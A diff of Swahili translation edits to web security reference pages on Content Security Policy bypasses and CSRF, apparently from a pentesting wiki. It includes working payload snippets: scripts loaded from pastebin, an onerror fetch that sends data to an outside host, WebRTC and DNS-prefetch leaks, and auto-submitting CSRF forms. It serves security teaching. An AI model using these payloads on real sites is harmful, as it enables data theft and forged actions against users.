Unaweza pia kutumia usanidi huu **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **pakia** **picha**, **itoa** **JS** kutoka kwake na **utekeleze** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 | 
			
		||||
Unaweza pia kutumia usanidi huu **kuchaji msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kuchaji picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" ili **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo itachaji **picha**, **kuondoa** **JS** kutoka kwake na **kuitekeleza** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 | 
			
		||||
 | 
			
		||||
### Na Wafanyakazi wa Huduma
 | 
			
		||||
### Kwa Wafanyakazi wa Huduma
 | 
			
		||||
 | 
			
		||||
Kazi ya wafanyakazi wa huduma **`importScripts`** haipunguzwi na CSP:
 | 
			
		||||
Kazi za wafanyakazi wa huduma **`importScripts`** hazipunguzwi na CSP:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../xss-cross-site-scripting/abusing-service-workers.md
 | 
			
		||||
@ -462,7 +462,7 @@ Kazi ya wafanyakazi wa huduma **`importScripts`** haipunguzwi na CSP:
 | 
			
		||||
 | 
			
		||||
#### Chrome
 | 
			
		||||
 | 
			
		||||
Ikiwa **parameta** iliyotumwa na wewe inakua **imebandikwa ndani** ya **tangazo** la **sera,** basi unaweza **kubadilisha** **sera** kwa njia fulani ambayo inafanya **iwe haina maana**. Unaweza **kuruhusu skripti 'unsafe-inline'** na mojawapo ya hizi bypasses:
 | 
			
		||||
Ikiwa **parameta** iliyotumwa na wewe inakua **imebandikwa ndani** ya **tangazo** la **sera,** basi unaweza **kubadilisha** **sera** kwa njia fulani ambayo inafanya **iwe haina maana**. Unaweza **kuruhusu skripti 'unsafe-inline'** na yoyote ya hizi bypasses:
 | 
			
		||||
```bash
 | 
			
		||||
script-src-elem *; script-src-attr *
 | 
			
		||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 | 
			
		||||
@ -472,13 +472,13 @@ Unaweza kupata mfano hapa: [http://portswigger-labs.net/edge_csp_injection_xndhf
 | 
			
		||||
 | 
			
		||||
#### Edge
 | 
			
		||||
 | 
			
		||||
Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **afuta** sera nzima.\
 | 
			
		||||
Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **ondoa** sera **nzima**.\
 | 
			
		||||
Mfano: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 | 
			
		||||
 | 
			
		||||
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
 | 
			
		||||
 | 
			
		||||
Tazama ukosefu wa agizo `'unsafe-inline'`\
 | 
			
		||||
Wakati huu unaweza kumfanya mwathirika **apakuze** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unakwenda kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ambao ukurasa unahitaji kupakua** unaweza kutoa taarifa unazohitaji.
 | 
			
		||||
Wakati huu unaweza kumfanya mwathirika **paku** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu unakwenda kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (**CSRF**). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza **kudhibiti wakati ukurasa unahitaji kupakia** unaweza kutoa taarifa unayohitaji.
 | 
			
		||||
 | 
			
		||||
Wakati huu **bendera** itakuwa inatoa, kila wakati **herufi inakisiwa kwa usahihi** kupitia SQLi **jibu** linachukua **muda zaidi** kutokana na kazi ya usingizi. Kisha, utaweza kutoa bendera:
 | 
			
		||||
```html
 | 
			
		||||
@ -542,13 +542,13 @@ run()
 | 
			
		||||
```
 | 
			
		||||
### Via Bookmarklets
 | 
			
		||||
 | 
			
		||||
Shambulio hili litahitaji uhandisi wa kijamii ambapo mshambuliaji **anawashawishi watumiaji kuburuta na kuweka kiungo juu ya bookmarklet ya kivinjari**. Huu bookmarklet utakuwa na **kodhi mbaya ya javascript** ambayo itatekelezwa katika muktadha wa dirisha la wavuti la sasa, **ikiepuka CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au tokeni.
 | 
			
		||||
Shambulio hili litahitaji uhandisi wa kijamii ambapo mshambuliaji **anawashawishi watumiaji kuburuta na kuacha kiungo juu ya bookmarklet ya kivinjari**. Huu bookmarklet utakuwa na **kodhi mbaya ya javascript** ambayo itatekelezwa katika muktadha wa dirisha la wavuti la sasa, **ikiepuka CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au tokeni.
 | 
			
		||||
 | 
			
		||||
Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 | 
			
		||||
 | 
			
		||||
### CSP bypass by restricting CSP
 | 
			
		||||
 | 
			
		||||
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inakwepa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye ukali zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**.
 | 
			
		||||
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inakwepa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye vizuizi zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **prototype pollution** au **dom clobbering** iliruhusu **kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio**.
 | 
			
		||||
 | 
			
		||||
Unaweza **kuzuia CSP ya Iframe** kwa kutumia **`csp`** sifa:
 | 
			
		||||
```html
 | 
			
		||||
@ -568,7 +568,7 @@ content="script-src 'self'
 | 
			
		||||
```
 | 
			
		||||
### JS exfiltration with Content-Security-Policy-Report-Only
 | 
			
		||||
 | 
			
		||||
Ikiwa unaweza kusimamia kufanya seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya iangalie seva yako na ikiwa un **fungia** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ina uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka `Content-Security-Policy-Report-Only`.
 | 
			
		||||
Ikiwa unaweza kusababisha seva ijibu na kichwa **`Content-Security-Policy-Report-Only`** chenye **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kuifanya iangalie seva yako na ikiwa unafanya **wrap** **maudhui ya JS** unayotaka kuhamasisha na **`<script>`** na kwa sababu ni uwezekano mkubwa `unsafe-inline` hairuhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (iliyokuwa na taarifa nyeti) itatumwa kwa seva kutoka `Content-Security-Policy-Report-Only`.
 | 
			
		||||
 | 
			
		||||
Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 | 
			
		||||
 | 
			
		||||
@ -577,21 +577,21 @@ Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Chal
 | 
			
		||||
document.querySelector("DIV").innerHTML =
 | 
			
		||||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
 | 
			
		||||
```
 | 
			
		||||
### Kuvuja Taarifa kwa CSP na Iframe
 | 
			
		||||
### Kueneza Taarifa kwa CSP na Iframe
 | 
			
		||||
 | 
			
		||||
- An `iframe` inaundwa inayolenga URL (tuitaje `https://example.redirect.com`) ambayo inaruhusiwa na CSP.
 | 
			
		||||
- `iframe` inaundwa inayolenga URL (tuiite `https://example.redirect.com`) ambayo inaruhusiwa na CSP.
 | 
			
		||||
- URL hii kisha inarejelea URL ya siri (mfano, `https://usersecret.example2.com`) ambayo **hairuhusiwi** na CSP.
 | 
			
		||||
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inaonyesha jina la kikoa cha URI iliyozuiwa, ikivuja jina la siri la kikoa ambacho URL ya awali ilirejelea.
 | 
			
		||||
- Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inaonyesha jina la kikoa cha URI iliyozuiwa, ikieneza jina la siri ambalo URL ya awali ilirejelea.
 | 
			
		||||
 | 
			
		||||
Ni ya kuvutia kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha kuvuja kwa taarifa nyeti kutokana na tabia isiyoeleweka.
 | 
			
		||||
Ni ya kuvutia kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha uwezekano wa kueneza taarifa nyeti kutokana na tabia isiyoeleweka.
 | 
			
		||||
 | 
			
		||||
Mbinu nyingine inahusisha kutumia CSP yenyewe ili kudhani subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuiya au kuruhusu subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha mbinu hii:
 | 
			
		||||
Mbinu nyingine inahusisha kutumia CSP yenyewe ili kubaini subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuiya au kuruhusu subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha mbinu hii:
 | 
			
		||||
```markdown
 | 
			
		||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 | 
			
		||||
```
 | 
			
		||||
Kwa kufuatilia ni maombi gani yanayozuiwa au kuruhusiwa na CSP, mtu anaweza kupunguza wahusika wanaowezekana katika subdomain ya siri, hatimaye kugundua URL kamili.
 | 
			
		||||
 | 
			
		||||
Mbinu zote zinatumia tofauti za utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kwa bahati mbaya kuvuja taarifa nyeti.
 | 
			
		||||
Mbinu zote mbili zinatumia tofauti za utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kwa bahati mbaya kuvuja taarifa nyeti.
 | 
			
		||||
 | 
			
		||||
Trick kutoka [**hapa**](https://ctftime.org/writeup/29310).
 | 
			
		||||
 | 
			
		||||
@ -604,7 +604,7 @@ Kulingana na [**mbinu ya mwisho iliyozungumziwa katika video hii**](https://www.
 | 
			
		||||
### Kupita kwa buffer ya majibu ya PHP
 | 
			
		||||
 | 
			
		||||
PHP inajulikana kwa **kufanya buffering ya majibu hadi 4096** bytes kwa default. Hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa **data ya kutosha ndani ya onyo**, **majibu** yatatumwa **kabla** ya **CSP header**, na kusababisha header ipuuzwe.\
 | 
			
		||||
Kisha, mbinu inajumuisha kimsingi **kujaza buffer ya majibu na onyo** ili header ya CSP isitumwe.
 | 
			
		||||
Basi, mbinu inajumuisha kimsingi **kujaza buffer ya majibu na onyo** ili header ya CSP isitumwe.
 | 
			
		||||
 | 
			
		||||
Wazo kutoka [**hiki andiko**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 | 
			
		||||
 | 
			
		||||
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 | 
			
		||||
```
 | 
			
		||||
### SOME + 'self' + wordpress
 | 
			
		||||
 | 
			
		||||
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka) **katika kiungo cha ukurasa** ili **kutumia** **viungo vingine vya asili moja.** Hii inafanywa kwa kupakia kiungo kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha kuimarisha ukurasa wa mshambuliaji kwa kiungo halisi katika asili moja unayotaka kutumia. Kwa njia hii, **kiungo kilichoharibika** kinaweza kutumia **`opener`** kitu katika **payload** ili **kufikia DOM** ya **kiungo halisi cha kutumia**. Kwa maelezo zaidi angalia:
 | 
			
		||||
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka sana) **katika kiungo cha ukurasa** ili **kutumia** **viungo vingine vya asili moja.** Hii inafanywa kwa kupakia kiungo kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha ku-refresh ukurasa wa mshambuliaji hadi kiungo halisi katika asili moja unayotaka kutumia. Kwa njia hii, **kiungo kilichoharibika** kinaweza kutumia **`opener`** kitu katika **payload** ili **kufikia DOM** ya **kiungo halisi cha kutumia**. Kwa maelezo zaidi angalia:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
 | 
			
		||||
@ -632,7 +632,7 @@ Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://oct
 | 
			
		||||
 | 
			
		||||
## CSP Exfiltration Bypasses
 | 
			
		||||
 | 
			
		||||
Ikiwa kuna CSP kali ambayo haikuruhusu **kuingiliana na seva za nje**, kuna mambo kadhaa unaweza kufanya kila wakati ili kutoa taarifa.
 | 
			
		||||
Ikiwa kuna CSP kali ambayo haitakuruhusu **kuingiliana na seva za nje**, kuna mambo kadhaa unaweza kufanya kila wakati ili kutoa taarifa.
 | 
			
		||||
 | 
			
		||||
### Location
 | 
			
		||||
 | 
			
		||||
@ -649,7 +649,7 @@ Unaweza kuelekeza kwa kuingiza meta tag (hii ni kuelekeza tu, hii haitavuja maud
 | 
			
		||||
```
 | 
			
		||||
### DNS Prefetch
 | 
			
		||||
 | 
			
		||||
Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuhifadhi kwa matumizi ya baadaye.\
 | 
			
		||||
Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuziweka kwenye cache kwa matumizi ya baadaye.\
 | 
			
		||||
Unaweza kuonyesha kivinjari kutatua jina la mwenyeji mapema kwa: `<link rel="dns-prefetch" href="something.com">`
 | 
			
		||||
 | 
			
		||||
Unaweza kutumia tabia hii vibaya ili **kuondoa taarifa nyeti kupitia maombi ya DNS**:
 | 
			
		||||
@ -674,13 +674,13 @@ Ili kuepuka hili kutokea, seva inaweza kutuma kichwa cha HTTP:
 | 
			
		||||
X-DNS-Prefetch-Control: off
 | 
			
		||||
```
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Inaonekana, mbinu hii haifanyi kazi katika vivinjari visivyo na kichwa (bots)
 | 
			
		||||
> Kwa kweli, mbinu hii haifanyi kazi katika vivinjari visivyo na kichwa (bots)
 | 
			
		||||
 | 
			
		||||
### WebRTC
 | 
			
		||||
 | 
			
		||||
Katika kurasa kadhaa unaweza kusoma kwamba **WebRTC haichunguze sera ya `connect-src` ya CSP**.
 | 
			
		||||
Katika kurasa kadhaa unaweza kusoma kwamba **WebRTC haichunguze sera ya `connect-src`** ya CSP.
 | 
			
		||||
 | 
			
		||||
Kwa kweli unaweza _kuvuja_ taarifa kwa kutumia _ombio la DNS_. Angalia hii code:
 | 
			
		||||
Kwa kweli unaweza _leak_ taarifa kwa kutumia _ombio la DNS_. Angalia hii code:
 | 
			
		||||
```javascript
 | 
			
		||||
;(async () => {
 | 
			
		||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
 | 
			
		||||
@ -688,7 +688,7 @@ p.createDataChannel("")
 | 
			
		||||
p.setLocalDescription(await p.createOffer())
 | 
			
		||||
})()
 | 
			
		||||
```
 | 
			
		||||
Chaguo lingine:
 | 
			
		||||
Nyingine chaguo:
 | 
			
		||||
```javascript
 | 
			
		||||
var pc = new RTCPeerConnection({
 | 
			
		||||
"iceServers":[
 | 
			
		||||
 | 
			
		||||
@ -10,7 +10,7 @@
 | 
			
		||||
 | 
			
		||||
Ili kutumia udhaifu wa CSRF, masharti kadhaa yanapaswa kutimizwa:
 | 
			
		||||
 | 
			
		||||
1. **Tambua Kitendo Chenye Thamani**: Mshambuliaji anahitaji kupata kitendo kinachostahili kutumiwa, kama kubadilisha nenosiri la mtumiaji, barua pepe, au kuongeza mamlaka.
 | 
			
		||||
1. **Tambua Kitendo Chenye Thamani**: Mshambuliaji anahitaji kupata kitendo kinachostahili kutumiwa, kama kubadilisha nywila ya mtumiaji, barua pepe, au kuongeza mamlaka.
 | 
			
		||||
2. **Usimamizi wa Kikao**: Kikao cha mtumiaji kinapaswa kusimamiwa pekee kupitia vidakuzi au kichwa cha HTTP Basic Authentication, kwani vichwa vingine haviwezi kubadilishwa kwa kusudi hili.
 | 
			
		||||
3. **Ukosefu wa Vigezo Visivyoweza Kutabirika**: Ombi halipaswi kuwa na vigezo visivyoweza kutabirika, kwani vinaweza kuzuia shambulio.
 | 
			
		||||
 | 
			
		||||
@ -26,9 +26,9 @@ Mbinu kadhaa zinaweza kutekelezwa ili kujilinda dhidi ya shambulio la CSRF:
 | 
			
		||||
 | 
			
		||||
- [**Vidakuzi vya SameSite**](hacking-with-cookies/index.html#samesite): Sifa hii inazuia kivinjari kutuma vidakuzi pamoja na maombi ya tovuti tofauti. [Zaidi kuhusu vidakuzi vya SameSite](hacking-with-cookies/index.html#samesite).
 | 
			
		||||
- [**Kushiriki rasilimali za asili tofauti**](cors-bypass.md): Sera ya CORS ya tovuti ya mwathirika inaweza kuathiri uwezekano wa shambulio, hasa ikiwa shambulio linahitaji kusoma jibu kutoka kwa tovuti ya mwathirika. [Jifunze kuhusu CORS bypass](cors-bypass.md).
 | 
			
		||||
- **Uthibitisho wa Mtumiaji**: Kuuliza nenosiri la mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
 | 
			
		||||
- **Uthibitisho wa Mtumiaji**: Kuuliza nywila ya mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
 | 
			
		||||
- **Kuangalia Vichwa vya Referrer au Origin**: Kuangalia vichwa hivi kunaweza kusaidia kuhakikisha maombi yanatoka kwa vyanzo vinavyotegemewa. Hata hivyo, kuunda URL kwa uangalifu kunaweza kupita ukaguzi usiofaa, kama:
 | 
			
		||||
- Kutumia `http://mal.net?orig=http://example.com` (URL inaishia na URL inayotegemewa)
 | 
			
		||||
- Kutumia `http://mal.net?orig=http://example.com` (URL inamalizika na URL inayotegemewa)
 | 
			
		||||
- Kutumia `http://example.com.mal.net` (URL inaanza na URL inayotegemewa)
 | 
			
		||||
- **Kubadilisha Majina ya Vigezo**: Kubadilisha majina ya vigezo katika maombi ya POST au GET kunaweza kusaidia kuzuia mashambulizi ya kiotomatiki.
 | 
			
		||||
- **Tokens za CSRF**: Kuingiza token ya kipekee ya CSRF katika kila kikao na kuhitaji token hii katika maombi yanayofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa token unaweza kuimarishwa kwa kutekeleza CORS.
 | 
			
		||||
@ -45,14 +45,14 @@ Labda fomu unayotaka kutumia inPrepared kupeleka **ombii la POST lenye token ya
 | 
			
		||||
 | 
			
		||||
Programu zinaweza kutekeleza mekanismu ya **kuhakiki token** wakati zipo. Hata hivyo, udhaifu unatokea ikiwa uthibitisho unakosekana kabisa wakati token haipo. Washambuliaji wanaweza kutumia hii kwa **kuondoa parameter** inayobeba token, si tu thamani yake. Hii inawawezesha kupita mchakato wa uthibitisho na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi.
 | 
			
		||||
 | 
			
		||||
### Token ya CSRF haijafungwa na kikao cha mtumiaji
 | 
			
		||||
### Token ya CSRF haijafungwa kwa kikao cha mtumiaji
 | 
			
		||||
 | 
			
		||||
Programu **zisizofunga token za CSRF na vikao vya watumiaji** zina hatari kubwa ya **usalama**. Mifumo hii inathibitisha token dhidi ya **hifadhi ya kimataifa** badala ya kuhakikisha kila token inafungwa na kikao kilichozinduliwa.
 | 
			
		||||
Programu **zisizofunga token za CSRF kwa vikao vya watumiaji** zina hatari kubwa ya **usalama**. Mifumo hii inathibitisha token dhidi ya **hifadhi ya kimataifa** badala ya kuhakikisha kila token inafungwa kwa kikao kilichozinduliwa.
 | 
			
		||||
 | 
			
		||||
Hapa kuna jinsi washambuliaji wanavyotumia hii:
 | 
			
		||||
 | 
			
		||||
1. **Thibitisha** kwa kutumia akaunti yao wenyewe.
 | 
			
		||||
2. **Pata token halali ya CSRF** kutoka kwenye hifadhi ya kimataifa.
 | 
			
		||||
2. **Pata token halali ya CSRF** kutoka kwa hifadhi ya kimataifa.
 | 
			
		||||
3. **Tumia token hii** katika shambulio la CSRF dhidi ya mwathirika.
 | 
			
		||||
 | 
			
		||||
Udhaifu huu unawawezesha washambuliaji kufanya maombi yasiyoidhinishwa kwa niaba ya mwathirika, wakitumia **mchakato wa uthibitisho wa token usiofaa** wa programu.
 | 
			
		||||
@ -71,7 +71,7 @@ Hii inaweza pia kufanya kazi kwa kutuma **parameter ya \_method ndani ya ombi la
 | 
			
		||||
 | 
			
		||||
Ikiwa ombi linaongeza **kichwa maalum** chenye **token** kwa ombi kama **mbinu ya ulinzi wa CSRF**, basi:
 | 
			
		||||
 | 
			
		||||
- Jaribu ombi bila **Token ya Kimeundwa na pia kichwa.**
 | 
			
		||||
- Jaribu ombi bila **Token ya Kichwa Maalum na pia kichwa.**
 | 
			
		||||
- Jaribu ombi lenye **urefu sawa lakini token tofauti**.
 | 
			
		||||
 | 
			
		||||
### Token ya CSRF inathibitishwa na cookie
 | 
			
		||||
@ -103,7 +103,7 @@ onerror="document.forms[0].submit();" />
 | 
			
		||||
</html>
 | 
			
		||||
```
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Kumbuka kwamba ikiwa **csrf token inahusiana na session cookie hii shambulio halitafanya kazi** kwa sababu utahitaji kuweka mwathirika kwenye session yako, na hivyo utakuwa unajishambulia mwenyewe.
 | 
			
		||||
> Kumbuka kwamba ikiwa **csrf token inahusiana na session cookie shambulio hili halitafanya kazi** kwa sababu utahitaji kuweka mwathirika kwenye session yako, na hivyo utakuwa unajishambulia mwenyewe.
 | 
			
		||||
 | 
			
		||||
### Mabadiliko ya Aina ya Maudhui
 | 
			
		||||
 | 
			
		||||
@ -136,9 +136,9 @@ form.submit()
 | 
			
		||||
```
 | 
			
		||||
### Kupita Maombi ya Preflight kwa Data ya JSON
 | 
			
		||||
 | 
			
		||||
Wakati wa kujaribu kutuma data ya JSON kupitia ombi la POST, kutumia `Content-Type: application/json` katika fomu ya HTML si rahisi moja kwa moja. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya maudhui huanzisha ombi la preflight. Hata hivyo, kuna mikakati ya kupita kikomo hiki na kuangalia ikiwa seva inashughulikia data ya JSON bila kujali Aina ya Maudhui:
 | 
			
		||||
Wakati wa kujaribu kutuma data ya JSON kupitia ombi la POST, kutumia `Content-Type: application/json` katika fomu ya HTML si rahisi moja kwa moja. Vivyo hivyo, kutumia `XMLHttpRequest` kutuma aina hii ya maudhui huanzisha ombi la preflight. Hata hivyo, kuna mikakati ya kuweza kupita kikomo hiki na kuangalia ikiwa seva inashughulikia data ya JSON bila kujali Aina ya Maudhui:
 | 
			
		||||
 | 
			
		||||
1. **Tumia Aina Mbadala za Maudhui**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` katika fomu. Njia hii inajaribu kuangalia ikiwa backend inatumia data bila kujali Aina ya Maudhui.
 | 
			
		||||
1. **Tumia Aina Mbadala za Maudhui**: Tumia `Content-Type: text/plain` au `Content-Type: application/x-www-form-urlencoded` kwa kuweka `enctype="text/plain"` katika fomu. Njia hii inajaribu kuona ikiwa backend inatumia data bila kujali Aina ya Maudhui.
 | 
			
		||||
2. **Badilisha Aina ya Maudhui**: Ili kuepuka ombi la preflight huku ukihakikisha seva inatambua maudhui kama JSON, unaweza kutuma data na `Content-Type: text/plain; application/json`. Hii haisababishi ombi la preflight lakini inaweza kushughulikiwa ipasavyo na seva ikiwa imewekwa kukubali `application/json`.
 | 
			
		||||
3. **Matumizi ya Faili ya SWF Flash**: Njia isiyo ya kawaida lakini inayowezekana inahusisha kutumia faili ya SWF flash ili kupita vizuizi kama hivi. Kwa ufahamu wa kina wa mbinu hii, rejelea [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
 | 
			
		||||
 | 
			
		||||
@ -189,7 +189,7 @@ document.forms[0].submit()
 | 
			
		||||
```
 | 
			
		||||
### **HEAD method bypass**
 | 
			
		||||
 | 
			
		||||
Sehemu ya kwanza ya [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaelezea kwamba [kanuni ya chanzo ya Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa **kushughulikia maombi ya HEAD kama maombi ya GET** bila mwili wa jibu - suluhisho la kawaida ambalo haliko pekee kwa Oak. Badala ya mpangilio maalum unaoshughulikia maombi ya HEAD, yanatolewa tu **kwa mpangilio wa GET lakini programu inatoa tu mwili wa jibu**.
 | 
			
		||||
Sehemu ya kwanza ya [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) inaelezea kwamba [kanuni ya chanzo ya Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), router imewekwa **kushughulikia maombi ya HEAD kama maombi ya GET** bila mwili wa jibu - suluhisho la kawaida ambalo si la kipekee kwa Oak. Badala ya mpangilio maalum unaoshughulikia maombi ya HEAD, yanatolewa tu **kwa mpangilio wa GET lakini programu inatoa tu mwili wa jibu**.
 | 
			
		||||
 | 
			
		||||
Hivyo, ikiwa ombi la GET linapunguzwa, unaweza tu **kutuma ombi la HEAD ambalo litashughulikiwa kama ombi la GET**.
 | 
			
		||||
 | 
			
		||||
@ -197,7 +197,7 @@ Hivyo, ikiwa ombi la GET linapunguzwa, unaweza tu **kutuma ombi la HEAD ambalo l
 | 
			
		||||
 | 
			
		||||
### **Kutoa CSRF Token**
 | 
			
		||||
 | 
			
		||||
Ikiwa **CSRF token** inatumika kama **kinga** unaweza kujaribu **kutoa** kwa kutumia udhaifu wa [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
 | 
			
		||||
Ikiwa **CSRF token** inatumika kama **kinga** unaweza kujaribu **kutoa** kwa kutumia udhaifu wa [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
 | 
			
		||||
 | 
			
		||||
### **GET kwa kutumia vitambulisho vya HTML**
 | 
			
		||||
```xml
 | 
			
		||||
@ -205,7 +205,7 @@ Ikiwa **CSRF token** inatumika kama **kinga** unaweza kujaribu **kutoa** kwa kut
 | 
			
		||||
<h1>404 - Page not found</h1>
 | 
			
		||||
The URL you are requesting is no longer available
 | 
			
		||||
```
 | 
			
		||||
Mengine ya lebo za HTML5 ambazo zinaweza kutumika kutuma ombi la GET kiotomatiki ni:
 | 
			
		||||
Mengine ya vitambulisho vya HTML5 ambavyo vinaweza kutumika kutuma ombi la GET kiotomatiki ni:
 | 
			
		||||
```html
 | 
			
		||||
<iframe src="..."></iframe>
 | 
			
		||||
<script src="..."></script>
 | 
			
		||||
@ -234,7 +234,7 @@ background: url("...");
 | 
			
		||||
</video>
 | 
			
		||||
</audio>
 | 
			
		||||
```
 | 
			
		||||
### Fomu ya ombi la GET
 | 
			
		||||
### Ombi la GET la Fomu
 | 
			
		||||
```html
 | 
			
		||||
<html>
 | 
			
		||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
 | 
			
		||||
@ -252,7 +252,7 @@ document.forms[0].submit()
 | 
			
		||||
</body>
 | 
			
		||||
</html>
 | 
			
		||||
```
 | 
			
		||||
### Omba la POST ya Fomu
 | 
			
		||||
### Ombi la POST ya Fomu
 | 
			
		||||
```html
 | 
			
		||||
<html>
